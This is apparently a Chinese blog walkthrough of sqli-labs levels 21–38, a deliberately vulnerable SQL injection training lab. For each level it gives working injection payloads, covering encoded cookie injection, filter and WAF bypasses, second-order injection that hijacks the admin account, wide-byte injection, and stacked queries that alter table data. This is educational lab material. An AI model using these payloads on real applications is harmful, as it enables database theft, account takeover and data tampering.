2024.1.30
level-21
(cookie 注入+数据加密)
从页面上就可以看出这次的数据被 baes64 加密了
中国有句古话:师夷长技以制夷 ,用base64加密后的数据即可爆出数据
加密前:
admin' and updatexml(1,concat('~',(select database()),'~'),1) and '
加密后:
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgJw==
(level-21能有什么坏心思呢,他只是进行了秘密行动罢了(๑>ڡ<)☆)
level-22
(cookie 注入+数据加密)
和level-21大差不差,用双引号装饰
admin" and updatexml(1,concat('~',(select database()),'~'),1) and "
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSksJ34nKSwxKSBhbmQgIg==
(level-22能有什么坏心思呢,(๑>ڡ<)☆)
level-23
(注释过滤)
简单试一下,发现注释被过滤了,很好,不会,下一题
level-24
当然那是不可能的,为了表达的不那么抽象,我这里打上了显示sql语句的代码
在 -- 或 # 等注释符被过滤时可以用下面的两个模式绕过
?id=1' and ''='
?id=1' ;%00
对上述语句进行扩充即可爆出数据
?id=-1' union select 1,database(),3 and ''='
(level-23能有什么坏心思呢,他只是想要完整的身子罢了(๑>ڡ<)☆)
level-24
(二次注入)
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SOL 查询语句所导致的注入。防御者可能在用户输入恶意数据时,对其中的特殊字符进行了转义处理;但在恶意数据插入到数据库时,被处理的数据又被还原并存储在数据库中,当Web 程序调用存储在数据库中的恶意数据并执行 SOL 查询时,就发生了 SOL 二次注入。
先新建一个账号登录看看,出现更改密码的页面
是时候展示明修栈道,暗度陈仓的手法了
再建立一个"普普通通"的账号
admin'#
从cmd中可以看到成功创建
Ps:
为什么 admin'# 在创建时没有注释掉后面的语句?
通过查看源码
sql = "insert into users ( username, password) values(\\"username\", \"$pass\")";
这里对我们插入的数据进行了转义,被当成了常规字符,而不是sql语句
这里就是暗度成仓的魅力了,在更新时,因为存在注释符的关系使得对我们账户的修改变成了对admin账户的修改,从而得到admin账户的权限
通过查询数据库可知账户被修改了,这样成功拿到了admin账户权限
(level-24能有什么坏心思呢,他只是不知道社会的险恶罢了(๑>ڡ<)☆)
level-25
(bypass)
对方都明牌和我们玩了,非常的傲慢,是时候表现一下身法了
身法一:等价代换
and 可用 &&,%26%26,like
or 可用 ||,%7c%7c
身法二:双写
如anandd,oorr
?id=1' like 1 -- a
在这题中,接下来构造poc时只需要注意关键字里有or,and字符的用双写代替即可
?id=-1' union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()) -- a
(level-25能有什么坏心思呢,他只是不想你要又要罢了(๑>ڡ<)☆)
level-25a
(bypass)
en....除了把数据类型改成了数字型,和level-25一模一样
?id=-1 union select 1,2,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()) -- a
(level-25a能有什么坏心思呢,他不过是level-25的影分身罢了(๑>ڡ<)☆)
level-26
(bypass)
在level-25的基础上,空格和注释被过滤了
在level-23中注释过滤的两个解决方案在这里依然适用,稍稍改变即可
?id=1' %26%26 ''='
?id=1' ;%00
接下来就要对付空格过滤了
空格被过滤的话,正常的查询语句就没用了(我没试出来,不知道各大佬有没有方法)
仔细想想,报错注入是没什么空格的,说不定可以
?id=1' || gtid_subset(database(),1);%00
很好已经成功了一半,但报数据不用空格会导致字母堆在一起导致数据库无法解析
这时,用括号对着语句进行合理的分割, amazing
?id=1' || gtid_subset(concat('~',(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=database())),'~') ,1);%00
(level-26能有什么坏心思呢,他只是想除你武器罢了(๑>ڡ<)☆)
level-26a
(盲注+bypass)
隐去了报错信息,那么在level-26的基础上用盲注爆破
?id=1')%26%26if(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,1)='a',exp(1),exp(999));%00
(level-26a能有什么坏心思呢,他只是想让你看括号看到头大罢了(๑>ڡ<)☆)
level-27
(bypass)
过滤继续升级,又过滤了 union 和 select,但是or没被过滤
按照前两关的操作慢慢的构造poc即可
Ps:select双写两次便可绕过
?id=1' || gtid_subset(concat('~',(ssselectelectelect (group_concat(table_name)) from (information_schema.tables) where (table_schema=database())),'~') ,1);%00
(level-27能有什么坏心思呢,他只是得寸进尺罢了(๑>ڡ<)☆)
level-27a
(盲注+bypass)
和level-26a一个道理,改成盲注的poc即可,相信你们已经会了,偷个懒
level-28
(bypass)
简单尝试后发现单个union,select不会被过滤,但 union%09select 被过滤了,得到初步结论,过滤的是union select这个整体,那就继续双写union select
?id=999') unionunion%09select%09select%091,2,3;%00
(level-28能有什么坏心思呢,他只是有了整体思想罢了(๑>ڡ<)☆)
level-28a
没看出来和level-28有什么区别
?id=999') unionunion%09select%09select%091,2,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database());%00
(level-28a能有什么坏心思呢,我是真没看出来(๑>ڡ<)☆)
level-29
(waf)
不同于之前的关卡,要在后面接上/login.php/才是真真的waf关卡
绕waf
当我们强行传入两个名都为id的参数时,waf获取的是第一个参数,而忽略第二个参数,则对第二个参数的内容不做任何检查和过滤,这样第二个参数就可以传入到apache服务器端,进行解析
/login.php/?id=1&id=2' -- a
(不知道为啥图片没加载出来,不过无伤大雅)
毕竟是 waf 第一关,后面的就没什么心眼子,直接注入就行
?id=1&id=-1' union select 1,2,database() -- a
(level-29能有什么坏心思呢,他不过找了个不称职保镖罢了(๑>ڡ<)☆)
level-30
(waf)
" 闭合,pass
?id=1&id=-1" union select 1,2,3 -- a
level-31
(waf)
") 闭合,pass
?id=1&id=-1") union select 1,2,database() -- a
level-32
(宽字节注入)
还是先单引号起手,提示我们单引号被转义了,那就要想想怎么进行单引号脱离了
宽字节注入:
特殊值字符如单引号都会被转义,如 ' -> \', (因为gbk占用2个字节,而ascii占用1个字节)
mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%df%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。
我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \
所以如果我们输入%df%27(%27就是单引符号会被转义成 \ 也就是 %5c%27),在后台%df会将%5c"吃掉",组成一个汉字(%df%5c是一个汉字)。
既然知道了原理,那么爆数据也就不在话下了
?id=-1%df' union select 1,2,database() -- a
在报数据中注意要把数据库名等信息用16十六进制填写
?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 -- a
(level-32能有什么坏心思呢,他不过是语言不通罢了(๑>ڡ<)☆)
level-33
(宽字节注入)
又是莫名其妙的一关,跟level-32一模一样
?id=-1%df' union select 1,2,database()-- a
level-34
(宽字节注入)
依旧的换汤不换药
uname=1%df' union select 1,database() -- a&passwd=&submit=Submit
level-35
(宽字节注入)
变成了数字型
?id=-1 union select 1,2,database() -- a
level-36
(宽字节注入)
???为什么又是一样的
?id=-1%df' union select 1,2,database() -- a
level-37
(宽字节注入)
算了,已经无语了
uname=?id=-1%df' union select 1,database() -- a&passwd=&submit=Submit
level-38
(堆叠注入)
这题乍一看感觉又是来卖萌的,这不是和level-1一模一样吗
然后仔细看了一下源代码,根据 mysqli_multi_query 猜测这题的本意应该是堆叠注入
mysqli_multi_query
()
是 PHP 中用于执行多个 SQL 查询语句的函数。这个函数允许你在一个连接中执行多个查询,并返回一个结果标识符,以便你可以逐个获取每个查询的结果。函数的语法:
`mysqli_multi_query(mysqli $connection, string $query)`
$connection
:一个有效的 mysqli 连接标识符。$query
:要执行的 SQL 查询语句。返回值:
- 如果第一个查询语句执行成功,该函数返回一个结果标识符,你可以使用这个标识符来获取查询结果。如果第一个查询语句失败,该函数将返回 FALSE。
- 对于后续的查询语句,该函数将返回
TRUE
或FALSE
,具体取决于查询是否成功。
利用堆叠注入进行数据库的篡改
对users表中插入数据:
?id=1';insert into users(id,username,password) value(15,'2024','干杯!') -- a
为了方便这里的查询操作用cmd显示
对着level-1试了一下,果然不行
删除刚刚插入的数据
?id=1';delete from users where id=15 -- a
(level-38能有什么坏心思呢,他不过可以多线程操作罢了(๑>ڡ<)☆)